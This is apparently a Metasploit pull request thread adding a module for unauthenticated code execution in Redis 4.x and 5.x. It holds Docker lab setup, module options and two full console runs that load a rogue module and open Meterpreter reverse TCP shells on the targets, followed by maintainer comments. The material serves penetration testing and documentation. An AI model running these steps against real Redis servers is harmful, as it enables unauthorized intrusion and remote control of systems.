Add module Redis Unauthenticated Code Execution

[Green-m]

Description

This module exploits an unauthenticated code execution vulnerability in Redis 4.x and 5.x

Vulnerable Application

Vulnerable Application Link

• Official Docker Images

https://hub.docker.com/_/redis/

Vulnerable Application Installation Setup.

docker pull redis
docker run -p 6379:6379 -d --name redis_slave redis

Options

• CUSTOM

IF CUSTOM set to true, this exploit would generate a source code file, and compile it to a redis module file during running, which is more undetectable.
It's only worked on linux system.

For other scenarios, such as lack of gcc, or others opreate systems, framework could not compile the source for sucessful exploit, it uses the pre-compiled redis module to accomplish this exploit.

Verification Steps

set CUSTOM true (available only on linux)

msf5 exploit(multi/redis/redis_unanth_rce) > options

Module options (exploit/multi/redis/redis_unanth_rce):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CUSTOM    true             yes       Whether compile payload file during exploiting
   PASSWORD  foobared         no        Redis password for authentication test
   RHOSTS    127.0.0.1        yes       The target address range or CIDR identifier
   RPORT     6379             yes       The target port (TCP)
   SRVHOST   172.17.0.1       yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   6666             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.17.0.1       yes       The listen address (an interface may be specified)
   LPORT  8080             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(multi/redis/redis_unanth_rce) > set verbose false
verbose => false
msf5 exploit(multi/redis/redis_unanth_rce) > exploit

[*] Started reverse TCP handler on 172.17.0.1:8080 
[*] 127.0.0.1:6379        - Compile redis module extension file
[+] 127.0.0.1:6379        - Payload  generate successful! 
[*] 127.0.0.1:6379        - Listening on 172.17.0.1:6666
[*] 127.0.0.1:6379        - Rogue server close...
[*] 127.0.0.1:6379        - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 172.17.0.2
[*] Meterpreter session 4 opened (172.17.0.1:8080 -> 172.17.0.2:49556) at 2019-07-19 11:58:52 -0400
[!] 127.0.0.1:6379        - This exploit may require manual cleanup of './vxwqrg.so' on the target

meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > 

Set CUSTOM false (available on all system)

msf5 > use exploit/linux/redis/redis_unauth_exec
msf5 exploit(linux/redis/redis_unauth_exec) > options

Module options (exploit/linux/redis/redis_unauth_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CUSTOM    false            yes       Whether compile payload file during exploiting
   PASSWORD  foobared         no        Redis password for authentication test
   RHOSTS                     yes       The target address range or CIDR identifier
   RPORT     6379             yes       The target port (TCP)
   SRVHOST   0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   6379             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(linux/redis/redis_unauth_exec) > set rhosts 172.16.6.226
rhosts => 172.16.6.226
msf5 exploit(linux/redis/redis_unauth_exec) > set srvhost 172.16.6.1
srvhost => 172.16.6.1
msf5 exploit(linux/redis/redis_unauth_exec) > set srvport 6666
srvport => 6666
msf5 exploit(linux/redis/redis_unauth_exec) > set lhost 172.16.6.1
lhost => 172.16.6.1
msf5 exploit(linux/redis/redis_unauth_exec) > set lport 9999
lport => 9999
msf5 exploit(linux/redis/redis_unauth_exec) > options

Module options (exploit/linux/redis/redis_unauth_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   CUSTOM    true             yes       Whether compile payload file during exploiting
   PASSWORD  foobared         no        Redis password for authentication test
   RHOSTS    172.16.6.226     yes       The target address range or CIDR identifier
   RPORT     6379             yes       The target port (TCP)
   SRVHOST   172.16.6.1       yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT   6666             yes       The local port to listen on.


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  172.16.6.1       yes       The listen address (an interface may be specified)
   LPORT  9999             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf5 exploit(linux/redis/redis_unauth_exec) > exploit

[*] Started reverse TCP handler on 172.16.6.1:9999
[*] 172.16.6.226:6379     - Listening on 172.16.6.1:6666
[*] 172.16.6.226:6379     - Rogue server close...
[*] 172.16.6.226:6379     - Sending command to trigger payload.
[*] Sending stage (3021284 bytes) to 172.16.6.226
[*] Meterpreter session 3 opened (172.16.6.1:9999 -> 172.16.6.226:50362) at 2019-07-19 23:53:13 +0800
[*] 172.16.6.226:6379     - Command Stager progress - 100.00% done (819/819 bytes)
[!] 172.16.6.226:6379     - This exploit may require manual cleanup of './wfuujx.so' on the target

meterpreter > getuid
Server username: uid=999, gid=999, euid=999, egid=999
meterpreter > getpid
Current pid: 173

[Green-m]

Please take note this cleanup, I commented the last two Redis commands, for it's always failed.
The reason is once a new session started, the Redis would get blocked and give no response to any request, which leads the command for cleanup to always failed.

To clean it successfully, we have to wait for the session ends. Actually, I did not know how to do it. :-(

[ccondon-r7]

Hey, @Green-m! Haven't seen you in the Framework PR queue in a while, welcome back :)

[Green-m]

@ccondon-r7 Nice to see you again!

[wchen-r7]

I'm currently working on this pull request. Thanks for the patience!

[wchen-r7]

Another excellent module from @Green-m. Thanks for waiting.

[wchen-r7]

Release Notes

The redis_unanth_rce module has been added to the framework. It exploits an unauthenticated code execution vulnerability in Redis 4.x and 5.x.